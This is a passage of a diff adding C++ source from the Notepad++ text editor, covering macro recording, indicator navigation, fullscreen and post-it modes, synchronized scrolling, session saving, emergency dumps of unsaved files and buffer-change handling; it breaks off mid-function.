+ { + // moving caret to the beginning of selected block + _pEditView->execute(SCI_GOTOPOS, selectionEnd); + _pEditView->execute(SCI_SETCURRENTPOS, selectionStart); + } + else + { + _pEditView->execute(SCI_SETSEL, selectionStart, selectionEnd); + } + _pEditView->execute(SCI_ENDUNDOACTION); + return true; +} + +void Notepad_plus::saveScintillasZoom() +{ + NppParameters * pNppParam = NppParameters::getInstance(); + ScintillaViewParams & svp = (ScintillaViewParams &)pNppParam->getSVP(); + svp._zoom = static_cast(_mainEditView.execute(SCI_GETZOOM)); + svp._zoom2 = static_cast(_subEditView.execute(SCI_GETZOOM)); +} + +bool Notepad_plus::addCurrentMacro() +{ + NppParameters* nppParams = NppParameters::getInstance(); + vector & theMacros = nppParams->getMacroList(); + + int nbMacro = static_cast(theMacros.size()); + + int cmdID = ID_MACRO + nbMacro; + MacroShortcut ms(Shortcut(), _macro, cmdID); + ms.init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf()); + + if (ms.doDialog() != -1) + { + HMENU hMacroMenu = ::GetSubMenu(_mainMenuHandle, MENUINDEX_MACRO); + int const posBase = 6; //separator at index 5 + if (nbMacro == 0) + { + ::InsertMenu(hMacroMenu, posBase-1, MF_BYPOSITION, static_cast(-1), 0); //no separator yet, add one + + // Insert the separator and modify/delete command + ::InsertMenu(hMacroMenu, posBase + nbMacro + 1, MF_BYPOSITION, static_cast(-1), 0); + + NativeLangSpeaker *pNativeLangSpeaker = nppParams->getNativeLangSpeaker(); + generic_string nativeLangShortcutMapperMacro = pNativeLangSpeaker->getNativeLangMenuString(IDM_SETTING_SHORTCUT_MAPPER_MACRO); + if (nativeLangShortcutMapperMacro == TEXT("")) + nativeLangShortcutMapperMacro = TEXT("Modify Shortcut/Delete Macro..."); + + ::InsertMenu(hMacroMenu, posBase + nbMacro + 2, MF_BYCOMMAND, IDM_SETTING_SHORTCUT_MAPPER_MACRO, nativeLangShortcutMapperMacro.c_str()); + } + theMacros.push_back(ms); + ::InsertMenu(hMacroMenu, posBase + nbMacro, MF_BYPOSITION, cmdID, ms.toMenuItemString().c_str()); + _accelerator.updateShortcuts(); + nppParams->setShortcutDirty(); + return true; + } + return false; +} + +void Notepad_plus::changeToolBarIcons() +{ + _toolBar.changeIcons(); +} + +bool Notepad_plus::switchToFile(BufferID id) +{ + int i = 0; + int iView = currentView(); + if (id == BUFFER_INVALID) + return false; + + if ((i = _pDocTab->getIndexByBuffer(id)) != -1) + { + iView = currentView(); + } + else if ((i = _pNonDocTab->getIndexByBuffer(id)) != -1) + { + iView = otherView(); + } + + if (i != -1) + { + switchEditViewTo(iView); + activateBuffer(id, currentView()); + return true; + } + return false; +} + +void Notepad_plus::getTaskListInfo(TaskListInfo *tli) +{ + int currentNbDoc = static_cast(_pDocTab->nbItem()); + int nonCurrentNbDoc = static_cast(_pNonDocTab->nbItem()); + + tli->_currentIndex = 0; + + if (!viewVisible(otherView())) + nonCurrentNbDoc = 0; + + for (int i = 0 ; i < currentNbDoc ; ++i) + { + BufferID bufID = _pDocTab->getBufferByIndex(i); + Buffer * b = MainFileManager->getBufferByID(bufID); + int status = b->isReadOnly()?tb_ro:(b->isDirty()?tb_unsaved:tb_saved); + tli->_tlfsLst.push_back(TaskLstFnStatus(currentView(), i, b->getFullPathName(), status, (void *)bufID)); + } + for (int i = 0 ; i < nonCurrentNbDoc ; ++i) + { + BufferID bufID = _pNonDocTab->getBufferByIndex(i); + Buffer * b = MainFileManager->getBufferByID(bufID); + int status = b->isReadOnly()?tb_ro:(b->isDirty()?tb_unsaved:tb_saved); + tli->_tlfsLst.push_back(TaskLstFnStatus(otherView(), i, b->getFullPathName(), status, (void *)bufID)); + } +} + + +bool Notepad_plus::goToPreviousIndicator(int indicID2Search, bool isWrap) const +{ + auto position = _pEditView->execute(SCI_GETCURRENTPOS); + auto docLen = _pEditView->getCurrentDocLen(); + + bool isInIndicator = _pEditView->execute(SCI_INDICATORVALUEAT, indicID2Search, position) != 0; + auto posStart = _pEditView->execute(SCI_INDICATORSTART, indicID2Search, position); + auto posEnd = _pEditView->execute(SCI_INDICATOREND, indicID2Search, position); + + // pre-condition + if ((posStart == 0) && (posEnd == docLen - 1)) + return false; + + if (posStart <= 0) + { + if (!isWrap) + return false; + + isInIndicator = _pEditView->execute(SCI_INDICATORVALUEAT, indicID2Search, docLen - 1) != 0; + posStart = _pEditView->execute(SCI_INDICATORSTART, indicID2Search, docLen - 1); + } + + if (isInIndicator) // try to get out of indicator + { + posStart = _pEditView->execute(SCI_INDICATORSTART, indicID2Search, posStart - 1); + if (posStart <= 0) + { + if (!isWrap) + return false; + posStart = _pEditView->execute(SCI_INDICATORSTART, indicID2Search, docLen - 1); + } + } + + auto newPos = posStart - 1; + posStart = _pEditView->execute(SCI_INDICATORSTART, indicID2Search, newPos); + posEnd = _pEditView->execute(SCI_INDICATOREND, indicID2Search, newPos); + + // found + if (_pEditView->execute(SCI_INDICATORVALUEAT, indicID2Search, posStart)) + { + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + nppGUI._disableSmartHiliteTmp = true; + + auto currentline = _pEditView->execute(SCI_LINEFROMPOSITION, posEnd); + _pEditView->execute(SCI_ENSUREVISIBLE, currentline); // make sure target line is unfolded + + _pEditView->execute(SCI_SETSEL, posEnd, posStart); + _pEditView->execute(SCI_SCROLLCARET); + return true; + } + return false; +} + +bool Notepad_plus::goToNextIndicator(int indicID2Search, bool isWrap) const +{ + auto position = _pEditView->execute(SCI_GETCURRENTPOS); + int docLen = _pEditView->getCurrentDocLen(); + + bool isInIndicator = _pEditView->execute(SCI_INDICATORVALUEAT, indicID2Search, position) != 0; + auto posStart = _pEditView->execute(SCI_INDICATORSTART, indicID2Search, position); + auto posEnd = _pEditView->execute(SCI_INDICATOREND, indicID2Search, position); + + // pre-condition + if ((posStart == 0) && (posEnd == docLen - 1)) + return false; + + if (posEnd >= docLen) + { + if (!isWrap) + return false; + + isInIndicator = _pEditView->execute(SCI_INDICATORVALUEAT, indicID2Search, 0) != 0; + posEnd = _pEditView->execute(SCI_INDICATOREND, indicID2Search, 0); + } + + if (isInIndicator) // try to get out of indicator + { + posEnd = _pEditView->execute(SCI_INDICATOREND, indicID2Search, posEnd); + + if (posEnd >= docLen) + { + if (!isWrap) + return false; + posEnd = _pEditView->execute(SCI_INDICATOREND, indicID2Search, 0); + } + } + auto newPos = posEnd; + posStart = _pEditView->execute(SCI_INDICATORSTART, indicID2Search, newPos); + posEnd = _pEditView->execute(SCI_INDICATOREND, indicID2Search, newPos); + + // found + if (_pEditView->execute(SCI_INDICATORVALUEAT, indicID2Search, posStart)) + { + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + nppGUI._disableSmartHiliteTmp = true; + + auto currentline = _pEditView->execute(SCI_LINEFROMPOSITION, posEnd); + _pEditView->execute(SCI_ENSUREVISIBLE, currentline); // make sure target line is unfolded + + _pEditView->execute(SCI_SETSEL, posStart, posEnd); + _pEditView->execute(SCI_SCROLLCARET); + return true; + } + return false; +} + +void Notepad_plus::fullScreenToggle() +{ + if (!_beforeSpecialView.isFullScreen) //toggle fullscreen on + { + _beforeSpecialView._winPlace.length = sizeof(_beforeSpecialView._winPlace); + ::GetWindowPlacement(_pPublicInterface->getHSelf(), &_beforeSpecialView._winPlace); + + RECT fullscreenArea; //RECT used to calculate window fullscreen size + //Preset view area, in case something fails, primary monitor values + fullscreenArea.top = 0; + fullscreenArea.left = 0; + fullscreenArea.right = GetSystemMetrics(SM_CXSCREEN); + fullscreenArea.bottom = GetSystemMetrics(SM_CYSCREEN); + + //if (_winVersion != WV_NT) + { + HMONITOR currentMonitor; //Handle to monitor where fullscreen should go + MONITORINFO mi; //Info of that monitor + //Caution, this will not work on windows 95, so probably add some checking of some sorts like Unicode checks, IF 95 were to be supported + currentMonitor = ::MonitorFromWindow(_pPublicInterface->getHSelf(), MONITOR_DEFAULTTONEAREST); //should always be valid monitor handle + mi.cbSize = sizeof(MONITORINFO); + if (::GetMonitorInfo(currentMonitor, &mi) != FALSE) + { + fullscreenArea = mi.rcMonitor; + fullscreenArea.right -= fullscreenArea.left; + fullscreenArea.bottom -= fullscreenArea.top; + } + } + + //Setup GUI + int bs = buttonStatus_fullscreen; + if (_beforeSpecialView.isPostIt) + { + bs |= buttonStatus_postit; + } + else + { + //only change the GUI if not already done by postit + _beforeSpecialView.isMenuShown = ::SendMessage(_pPublicInterface->getHSelf(), NPPM_ISMENUHIDDEN, 0, 0) != TRUE; + if (_beforeSpecialView.isMenuShown) + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_HIDEMENU, 0, TRUE); + + //Hide rebar + _rebarTop.display(false); + _rebarBottom.display(false); + } + _restoreButton.setButtonStatus(bs); + + //Hide window so windows can properly update it + ::ShowWindow(_pPublicInterface->getHSelf(), SW_HIDE); + + //Set popup style for fullscreen window and store the old style + if (!_beforeSpecialView.isPostIt) + { + _beforeSpecialView.preStyle = ::SetWindowLongPtr(_pPublicInterface->getHSelf(), GWL_STYLE, WS_POPUP); + if (!_beforeSpecialView.preStyle) { //something went wrong, use default settings + _beforeSpecialView.preStyle = WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN; + } + } + + //Set fullscreen window, highest non-top z-order, show the window and redraw it (refreshing the windowmanager cache aswell) + ::ShowWindow(_pPublicInterface->getHSelf(), SW_SHOW); + ::SetWindowPos(_pPublicInterface->getHSelf(), HWND_TOP, fullscreenArea.left, fullscreenArea.top, fullscreenArea.right, fullscreenArea.bottom, SWP_NOZORDER|SWP_DRAWFRAME|SWP_FRAMECHANGED); + ::SetForegroundWindow(_pPublicInterface->getHSelf()); + + // show restore button + _restoreButton.doDialog(_nativeLangSpeaker.isRTL()); + + RECT rect; + GetWindowRect(_restoreButton.getHSelf(), &rect); + int w = rect.right - rect.left; + int h = rect.bottom - rect.top; + + RECT nppRect; + GetWindowRect(_pPublicInterface->getHSelf(), &nppRect); + int x = nppRect.right - w; + int y = nppRect.top; + ::MoveWindow(_restoreButton.getHSelf(), x, y, w, h, FALSE); + + _pEditView->getFocus(); + } + else //toggle fullscreen off + { + //Hide window for updating, restore style and menu then restore position and Z-Order + ::ShowWindow(_pPublicInterface->getHSelf(), SW_HIDE); + + _restoreButton.setButtonStatus(buttonStatus_fullscreen ^ _restoreButton.getButtonStatus()); + _restoreButton.display(false); + + //Setup GUI + if (!_beforeSpecialView.isPostIt) + { + //only change the GUI if postit isnt active + if (_beforeSpecialView.isMenuShown) + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_HIDEMENU, 0, FALSE); + + //Show rebar + _rebarTop.display(true); + _rebarBottom.display(true); + } + + //Set old style if not fullscreen + if (!_beforeSpecialView.isPostIt) + { + ::SetWindowLongPtr( _pPublicInterface->getHSelf(), GWL_STYLE, _beforeSpecialView.preStyle); + //Redraw the window and refresh windowmanager cache, dont do anything else, sizing is done later on + ::SetWindowPos(_pPublicInterface->getHSelf(), HWND_TOP,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE|SWP_NOZORDER|SWP_DRAWFRAME|SWP_FRAMECHANGED); + ::ShowWindow(_pPublicInterface->getHSelf(), SW_SHOW); + } + + if (_beforeSpecialView._winPlace.length) + { + if (_beforeSpecialView._winPlace.showCmd == SW_SHOWMAXIMIZED) + { + ::ShowWindow(_pPublicInterface->getHSelf(), SW_SHOWMAXIMIZED); + } + else + { + ::SetWindowPlacement(_pPublicInterface->getHSelf(), &_beforeSpecialView._winPlace); + } + } + else //fallback + { + ::ShowWindow(_pPublicInterface->getHSelf(), SW_SHOW); + } + } + //::SetForegroundWindow(_pPublicInterface->getHSelf()); + _beforeSpecialView.isFullScreen = !_beforeSpecialView.isFullScreen; + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); + if (_beforeSpecialView.isPostIt) + { + // show restore button on the right position + RECT rect; + GetWindowRect(_restoreButton.getHSelf(), &rect); + int w = rect.right - rect.left; + int h = rect.bottom - rect.top; + + RECT nppRect; + GetWindowRect(_pPublicInterface->getHSelf(), &nppRect); + int x = nppRect.right - w - w; + int y = nppRect.top + 1; + ::MoveWindow(_restoreButton.getHSelf(), x, y, w, h, FALSE); + } +} + +void Notepad_plus::postItToggle() +{ + NppParameters * pNppParam = NppParameters::getInstance(); + if (!_beforeSpecialView.isPostIt) // PostIt disabled, enable it + { + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + // get current status before switch to postIt + //check these always + { + _beforeSpecialView.isAlwaysOnTop = ::GetMenuState(_mainMenuHandle, IDM_VIEW_ALWAYSONTOP, MF_BYCOMMAND) == MF_CHECKED; + _beforeSpecialView.isTabbarShown = ::SendMessage(_pPublicInterface->getHSelf(), NPPM_ISTABBARHIDDEN, 0, 0) != TRUE; + _beforeSpecialView.isStatusbarShown = nppGUI._statusBarShow; + if (nppGUI._statusBarShow) + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_HIDESTATUSBAR, 0, TRUE); + if (_beforeSpecialView.isTabbarShown) + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_HIDETABBAR, 0, TRUE); + if (!_beforeSpecialView.isAlwaysOnTop) + ::SendMessage(_pPublicInterface->getHSelf(), WM_COMMAND, IDM_VIEW_ALWAYSONTOP, 0); + } + //Only check these if not fullscreen + int bs = buttonStatus_postit; + if (_beforeSpecialView.isFullScreen) + { + bs |= buttonStatus_fullscreen; + } + else + { + _beforeSpecialView.isMenuShown = ::SendMessage(_pPublicInterface->getHSelf(), NPPM_ISMENUHIDDEN, 0, 0) != TRUE; + if (_beforeSpecialView.isMenuShown) + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_HIDEMENU, 0, TRUE); + + //Hide rebar + _rebarTop.display(false); + _rebarBottom.display(false); + } + _restoreButton.setButtonStatus(bs); + + // PostIt! + + //Set popup style for fullscreen window and store the old style + if (!_beforeSpecialView.isFullScreen) + { + //Hide window so windows can properly update it + ::ShowWindow(_pPublicInterface->getHSelf(), SW_HIDE); + _beforeSpecialView.preStyle = ::SetWindowLongPtr( _pPublicInterface->getHSelf(), GWL_STYLE, WS_POPUP ); + if (!_beforeSpecialView.preStyle) { //something went wrong, use default settings + _beforeSpecialView.preStyle = WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN; + } + //Redraw the window and refresh windowmanager cache, dont do anything else, sizing is done later on + ::SetWindowPos(_pPublicInterface->getHSelf(), HWND_TOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE|SWP_NOZORDER|SWP_DRAWFRAME|SWP_FRAMECHANGED); + ::ShowWindow(_pPublicInterface->getHSelf(), SW_SHOW); + } + + // show restore button + _restoreButton.doDialog(_nativeLangSpeaker.isRTL()); + + RECT rect; + GetWindowRect(_restoreButton.getHSelf(), &rect); + int w = rect.right - rect.left; + int h = rect.bottom - rect.top; + + RECT nppRect; + GetWindowRect(_pPublicInterface->getHSelf(), &nppRect); + int x = nppRect.right - w - w; + int y = nppRect.top + 1; + ::MoveWindow(_restoreButton.getHSelf(), x, y, w, h, FALSE); + + _pEditView->getFocus(); + } + else //PostIt enabled, disable it + { + _restoreButton.setButtonStatus(buttonStatus_postit ^ _restoreButton.getButtonStatus()); + _restoreButton.display(false); + + //Setup GUI + if (!_beforeSpecialView.isFullScreen) + { + //only change the these parts of GUI if not already done by fullscreen + if (_beforeSpecialView.isMenuShown) + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_HIDEMENU, 0, FALSE); + + //Show rebar + _rebarTop.display(true); + _rebarBottom.display(true); + } + //Do this GUI config always + if (_beforeSpecialView.isStatusbarShown) + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_HIDESTATUSBAR, 0, FALSE); + if (_beforeSpecialView.isTabbarShown) + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_HIDETABBAR, 0, FALSE); + if (!_beforeSpecialView.isAlwaysOnTop) + ::SendMessage(_pPublicInterface->getHSelf(), WM_COMMAND, IDM_VIEW_ALWAYSONTOP, 0); + + //restore window style if not fullscreen + if (!_beforeSpecialView.isFullScreen) + { + //dwStyle |= (WS_CAPTION | WS_SIZEBOX); + ::ShowWindow(_pPublicInterface->getHSelf(), SW_HIDE); + ::SetWindowLongPtr(_pPublicInterface->getHSelf(), GWL_STYLE, _beforeSpecialView.preStyle); + + //Redraw the window and refresh windowmanager cache, dont do anything else, sizing is done later on + ::SetWindowPos(_pPublicInterface->getHSelf(), HWND_NOTOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE|SWP_NOZORDER|SWP_DRAWFRAME|SWP_FRAMECHANGED); + ::ShowWindow(_pPublicInterface->getHSelf(), SW_SHOW); + } + } + + _beforeSpecialView.isPostIt = !_beforeSpecialView.isPostIt; + ::SendMessage(_pPublicInterface->getHSelf(), WM_SIZE, 0, 0); +} + +void Notepad_plus::doSynScorll(HWND whichView) +{ + int column = 0; + int line = 0; + ScintillaEditView *pView; + + // var for Line + int mainCurrentLine, subCurrentLine; + + // var for Column + int mxoffset, sxoffset; + int pixel; + int mainColumn, subColumn; + + if (whichView == _mainEditView.getHSelf()) + { + if (_syncInfo._isSynScollV) + { + // Compute for Line + mainCurrentLine = static_cast(_mainEditView.execute(SCI_GETFIRSTVISIBLELINE)); + subCurrentLine = static_cast(_subEditView.execute(SCI_GETFIRSTVISIBLELINE)); + line = mainCurrentLine - _syncInfo._line - subCurrentLine; + } + if (_syncInfo._isSynScollH) + { + // Compute for Column + mxoffset = static_cast(_mainEditView.execute(SCI_GETXOFFSET)); + pixel = static_cast(_mainEditView.execute(SCI_TEXTWIDTH, STYLE_DEFAULT, reinterpret_cast("P"))); + mainColumn = mxoffset/pixel; + + sxoffset = static_cast(_subEditView.execute(SCI_GETXOFFSET)); + pixel = static_cast(_subEditView.execute(SCI_TEXTWIDTH, STYLE_DEFAULT, reinterpret_cast("P"))); + subColumn = sxoffset/pixel; + column = mainColumn - _syncInfo._column - subColumn; + } + pView = &_subEditView; + } + else if (whichView == _subEditView.getHSelf()) + { + if (_syncInfo._isSynScollV) + { + // Compute for Line + mainCurrentLine = static_cast(_mainEditView.execute(SCI_GETFIRSTVISIBLELINE)); + subCurrentLine = static_cast(_subEditView.execute(SCI_GETFIRSTVISIBLELINE)); + line = subCurrentLine + _syncInfo._line - mainCurrentLine; + } + if (_syncInfo._isSynScollH) + { + // Compute for Column + mxoffset = static_cast(_mainEditView.execute(SCI_GETXOFFSET)); + pixel = static_cast(_mainEditView.execute(SCI_TEXTWIDTH, STYLE_DEFAULT, reinterpret_cast("P"))); + mainColumn = mxoffset/pixel; + + sxoffset = static_cast(_subEditView.execute(SCI_GETXOFFSET)); + pixel = static_cast(_subEditView.execute(SCI_TEXTWIDTH, STYLE_DEFAULT, reinterpret_cast("P"))); + subColumn = sxoffset/pixel; + column = subColumn + _syncInfo._column - mainColumn; + } + pView = &_mainEditView; + } + else + return; + + pView->scroll(column, line); +} + +bool Notepad_plus::getIntegralDockingData(tTbData & dockData, int & iCont, bool & isVisible) +{ + DockingManagerData & dockingData = (DockingManagerData &)(NppParameters::getInstance())->getNppGUI()._dockingData; + + for (size_t i = 0, len = dockingData._pluginDockInfo.size(); i < len ; ++i) + { + const PluginDlgDockingInfo & pddi = dockingData._pluginDockInfo[i]; + + if (!generic_stricmp(pddi._name.c_str(), dockData.pszModuleName) && (pddi._internalID == dockData.dlgID)) + { + iCont = pddi._currContainer; + isVisible = pddi._isVisible; + dockData.iPrevCont = pddi._prevContainer; + + if (dockData.iPrevCont != -1) + { + int cont = (pddi._currContainer < DOCKCONT_MAX ? pddi._prevContainer : pddi._currContainer); + RECT rc; + if (dockingData.getFloatingRCFrom(cont, rc)) + dockData.rcFloat = rc; + } + return true; + } + } + return false; +} + + +void Notepad_plus::getCurrentOpenedFiles(Session & session, bool includUntitledDoc) +{ + _mainEditView.saveCurrentPos(); //save position so itll be correct in the session + _subEditView.saveCurrentPos(); //both views + session._activeView = currentView(); + session._activeMainIndex = _mainDocTab.getCurrentTabIndex(); + session._activeSubIndex = _subDocTab.getCurrentTabIndex(); + + //Use _invisibleEditView to temporarily open documents to retrieve markers + Document oldDoc = _invisibleEditView.execute(SCI_GETDOCPOINTER); + const int nbElem = 2; + DocTabView *docTab[nbElem]; + docTab[0] = &_mainDocTab; + docTab[1] = &_subDocTab; + for (size_t k = 0; k < nbElem; ++k) + { + for (size_t i = 0, len = docTab[k]->nbItem(); i < len ; ++i) + { + BufferID bufID = docTab[k]->getBufferByIndex(i); + ScintillaEditView *editView = k == 0?&_mainEditView:&_subEditView; + size_t activeIndex = k == 0 ? session._activeMainIndex : session._activeSubIndex; + vector *viewFiles = (vector *)(k == 0?&(session._mainViewFiles):&(session._subViewFiles)); + + Buffer * buf = MainFileManager->getBufferByID(bufID); + + if (buf->isUntitled() && buf->docLength() == 0) + continue; + + if (!includUntitledDoc) + if (!PathFileExists(buf->getFullPathName())) + continue; + + + generic_string languageName = getLangFromMenu(buf); + const TCHAR *langName = languageName.c_str(); + sessionFileInfo sfi(buf->getFullPathName(), langName, buf->getEncoding(), buf->getPosition(editView), buf->getBackupFileName().c_str(), int(buf->getLastModifiedTimestamp()), buf->getMapPosition()); + + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, buf->getDocument()); + size_t maxLine = static_cast(_invisibleEditView.execute(SCI_GETLINECOUNT)); + + for (size_t j = 0 ; j < maxLine ; ++j) + { + if ((_invisibleEditView.execute(SCI_MARKERGET, j) & (1 << MARK_BOOKMARK)) != 0) + { + sfi._marks.push_back(j); + } + } + + if (i == activeIndex) + { + editView->getCurrentFoldStates(sfi._foldStates); + } + else + { + sfi._foldStates = buf->getHeaderLineState(editView); + } + viewFiles->push_back(sfi); + } + } + _invisibleEditView.execute(SCI_SETDOCPOINTER, 0, oldDoc); +} + +bool Notepad_plus::str2Cliboard(const generic_string & str2cpy) +{ + return str2Clipboard(str2cpy, _pPublicInterface->getHSelf()); +} + +//ONLY CALL IN CASE OF EMERGENCY: EXCEPTION +//This function is destructive +bool Notepad_plus::emergency(generic_string emergencySavedDir) +{ + ::CreateDirectory(emergencySavedDir.c_str(), NULL); + return dumpFiles(emergencySavedDir.c_str(), TEXT("File")); +} + +bool Notepad_plus::dumpFiles(const TCHAR * outdir, const TCHAR * fileprefix) { + //start dumping unsaved files to recovery directory + bool somethingsaved = false; + bool somedirty = false; + TCHAR savePath[MAX_PATH] = {0}; + + //rescue primary + for (size_t i = 0; i < MainFileManager->getNbBuffers(); ++i) + { + Buffer * docbuf = MainFileManager->getBufferByIndex(i); + if (!docbuf->isDirty()) //skip saved documents + continue; + else + somedirty = true; + + const TCHAR * unitext = (docbuf->getUnicodeMode() != uni8Bit)?TEXT("_utf8"):TEXT(""); + wsprintf(savePath, TEXT("%s\\%s%03d%s.dump"), outdir, fileprefix, i, unitext); + + bool res = MainFileManager->saveBuffer(docbuf->getID(), savePath); + + somethingsaved |= res; + } + + return somethingsaved || !somedirty; +} + +void Notepad_plus::drawTabbarColoursFromStylerArray() +{ + Style *stActText = getStyleFromName(TABBAR_ACTIVETEXT); + if (stActText && stActText->_fgColor != -1) + TabBarPlus::setColour(stActText->_fgColor, TabBarPlus::activeText); + + Style *stActfocusTop = getStyleFromName(TABBAR_ACTIVEFOCUSEDINDCATOR); + if (stActfocusTop && stActfocusTop->_fgColor != -1) + TabBarPlus::setColour(stActfocusTop->_fgColor, TabBarPlus::activeFocusedTop); + + Style *stActunfocusTop = getStyleFromName(TABBAR_ACTIVEUNFOCUSEDINDCATOR); + if (stActunfocusTop && stActunfocusTop->_fgColor != -1) + TabBarPlus::setColour(stActunfocusTop->_fgColor, TabBarPlus::activeUnfocusedTop); + + Style *stInact = getStyleFromName(TABBAR_INACTIVETEXT); + if (stInact && stInact->_fgColor != -1) + TabBarPlus::setColour(stInact->_fgColor, TabBarPlus::inactiveText); + if (stInact && stInact->_bgColor != -1) + TabBarPlus::setColour(stInact->_bgColor, TabBarPlus::inactiveBg); +} + +void Notepad_plus::prepareBufferChangedDialog(Buffer * buffer) +{ + // immediately show window if it was minimized before + if (::IsIconic(_pPublicInterface->getHSelf())) + ::ShowWindow(_pPublicInterface->getHSelf(), SW_RESTORE); + + // switch to the file that changed + int index = _pDocTab->getIndexByBuffer(buffer->getID()); + int iView = currentView(); + if (index == -1) + iView = otherView(); + activateBuffer(buffer->getID(), iView); //activate the buffer in the first view possible + + // prevent flickering issue by "manually" clicking and activating the _pEditView + // (mouse events seem to get lost / improperly handled when showing the dialog) + auto curPos = _pEditView->execute(SCI_GETCURRENTPOS); + ::PostMessage(_pEditView->getHSelf(), WM_LBUTTONDOWN, 0, 0); + ::PostMessage(_pEditView->getHSelf(), WM_LBUTTONUP, 0, 0); + ::PostMessage(_pEditView->getHSelf(), SCI_SETSEL, curPos, curPos); +} + +void Notepad_plus::notifyBufferChanged(Buffer * buffer, int mask) +{ + // To avoid to crash while MS-DOS style is set as default language, + // Checking the validity of current instance is necessary. + if (!this) return; + + NppParameters *pNppParam = NppParameters::getInstance(); + const NppGUI & nppGUI = pNppParam->getNppGUI(); + + _mainEditView.bufferUpdated(buffer, mask); + _subEditView.bufferUpdated(buffer, mask); + _mainDocTab.bufferUpdated(buffer, mask); + _subDocTab.bufferUpdated(buffer, mask); + + bool mainActive = (_mainEditView.getCurrentBuffer() == buffer); + bool subActive = (_subEditView.getCurrentBuffer() == buffer); + + //Only event that applies to non-active Buffers + if (mask & BufferChangeStatus) + { //reload etc + switch(buffer->getStatus()) + { + case DOC_UNNAMED: //nothing todo + case DOC_REGULAR: //nothing todo + { + break; + } + case DOC_MODIFIED: //ask for reloading + { + bool autoUpdate = (nppGUI._fileAutoDetection == cdAutoUpdate) || (nppGUI._fileAutoDetection == cdAutoUpdateGo2end); + if (!autoUpdate || buffer->isDirty()) + { + prepareBufferChangedDialog(buffer); + + // Then we ask user to update + if (doReloadOrNot(buffer->getFullPathName(), buffer->isDirty()) != IDYES) + { + // Since the file content has changed but the user doesn't want to reload it, set state to dirty + buffer->setDirty(true); + + break; //abort + } + } + // Set _isLoadedDirty false so when the document clean state is reached the icon will be set to blue + buffer->setLoadedDirty(false); + doReload(buffer->getID(), false); + if (mainActive || subActive) + { + performPostReload(mainActive?MAIN_VIEW:SUB_VIEW); + } + break; + } + case DOC_NEEDRELOAD: // by log monitoring + { + doReload(buffer->getID(), false); + + // not only test main view + if (buffer == _mainEditView.getCurrentBuffer()) + { + _mainEditView.execute(SCI_GOTOLINE, _mainEditView.execute(SCI_GETLINECOUNT) - 1); + } + // but also test sub-view, because the buffer could be clonned + if (buffer == _subEditView.getCurrentBuffer()) + { + _subEditView.execute(SCI_GOTOLINE, _subEditView.execute(SCI_GETLINECOUNT) - 1); + } + + break; + } + case DOC_DELETED: //ask for keep + { + prepareBufferChangedDialog(buffer); + + SCNotification scnN; + scnN.nmhdr.code = NPPN_FILEDELETED; + scnN.nmhdr.hwndFrom = _pPublicInterface->getHSelf(); + scnN.nmhdr.idFrom = (uptr_t)buffer->getID(); + _pluginsManager.notify(&scnN); + + int doCloseDoc = doCloseOrNot(buffer->getFullPathName()) == IDNO; + if (doCloseDoc) + { + //close in both views, doing current view last since that has to remain opened + bool isSnapshotMode = nppGUI.isSnapshotMode(); + doClose(buffer->getID(), otherView(), isSnapshotMode); + doClose(buffer->getID(), currentView(), isSnapshotMode); + return; + } + break; + } + } + } + + if (mask & (BufferChangeReadonly)) + { + checkDocState(); + + bool isSysReadOnly = buffer->getFileReadOnly(); + bool isUserReadOnly = buffer->getUserReadOnly(); + bool isDirty = buffer->isDirty(); + + // To notify plugins ro status is changed + SCNotification scnN; + scnN.nmhdr.hwndFrom = (void *)buffer->getID(); + scnN.nmhdr.idFrom = (uptr_t) ((isSysReadOnly || isUserReadOnly? DOCSTATUS_READONLY : 0) | (isDirty ? DOCSTATUS_BUFFERDIRTY : 0)); + scnN.nmhdr.code = NPPN_READONLYCHANGED; + _pluginsManager.notify(&scnN); + + } + + if (_pFileSwitcherPanel) + _pFileSwitcherPanel->setItemIconStatus(buffer); + + if (!mainActive && !subActive) + { + return; + } + + if (mask & (BufferChangeLanguage)) + { + if (mainActive) + _autoCompleteMain.setLanguage(buffer->getLangType()); + if (subActive) + _autoCompleteSub.setLanguage(buffer->getLangType()); + } + + if ((currentView() == MAIN_VIEW) && !mainActive) + return; + + if ((currentView() == SUB_VIEW) && !subActive) + return; + + if (mask & (BufferChangeDirty|BufferChangeFilename)) + { + if (mask & BufferChangeFilename) + command(IDM_VIEW_REFRESHTABAR); + checkDocState(); + setTitle(); + generic_string dir(buffer->getFullPathName()); + PathRemoveFileSpec(dir); + setWorkingDir(dir.c_str()); + } + + if (mask & (BufferChangeLanguage)) + { + checkLangsMenu(-1); //let N++ do search for the item + setLangStatus(buffer->getLangType()); + if (_mainEditView.getCurrentBuffer() == buffer) + _autoCompleteMain.setLanguage(buffer->getLangType()); + else if (_subEditView.getCurrentBuffer() == buffer) + _autoCompleteSub.setLanguage(buffer->getLangType()); + + SCNotification scnN; + scnN.nmhdr.code = NPPN_LANGCHANGED; + scnN.nmhdr.hwndFrom = _pPublicInterface->getHSelf(); + scnN.nmhdr.idFrom = (uptr_t)_pEditView->getCurrentBufferID(); + _pluginsManager.notify(&scnN); + } + + if (mask & (BufferChangeFormat|BufferChangeLanguage|BufferChangeUnicode)) + { + updateStatusBar(); + checkUnicodeMenuItems(/*buffer->getUnicodeMode()*/); + setUniModeText(); + setDisplayFormat(buffer->getEolFormat()); + enableConvertMenuItems(buffer->getEolFormat()); + } +} + +void Notepad_plus::notifyBufferActivated(BufferID bufid, int view) +{ + Buffer * buf = MainFileManager->getBufferByID(bufid); + buf->increaseRecentTag(); + + if (view == MAIN_VIEW) + { + 